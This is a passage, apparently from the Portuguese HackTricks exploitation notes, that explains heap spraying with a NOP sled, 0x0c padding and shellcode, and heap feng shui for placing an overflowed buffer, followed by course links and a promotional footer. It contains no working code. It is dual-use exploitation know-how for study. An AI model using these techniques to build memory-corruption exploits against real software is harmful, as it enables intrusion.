Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. A ideia é tentar pular para o endereço 0x0c0c0c0c e, assim, se alguma direção for sobrescrita com esse colchão, o controle será transferido para . Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e pular para 0x0c0c0c0c, esperando que haja nops .
**Heap Feng Shui**
Consiste em, por meio de reservas e liberações, organizar a memória de forma que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços.
## Cursos Interessantes
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referências**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Aprenda hacking AWS do zero ao hero com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>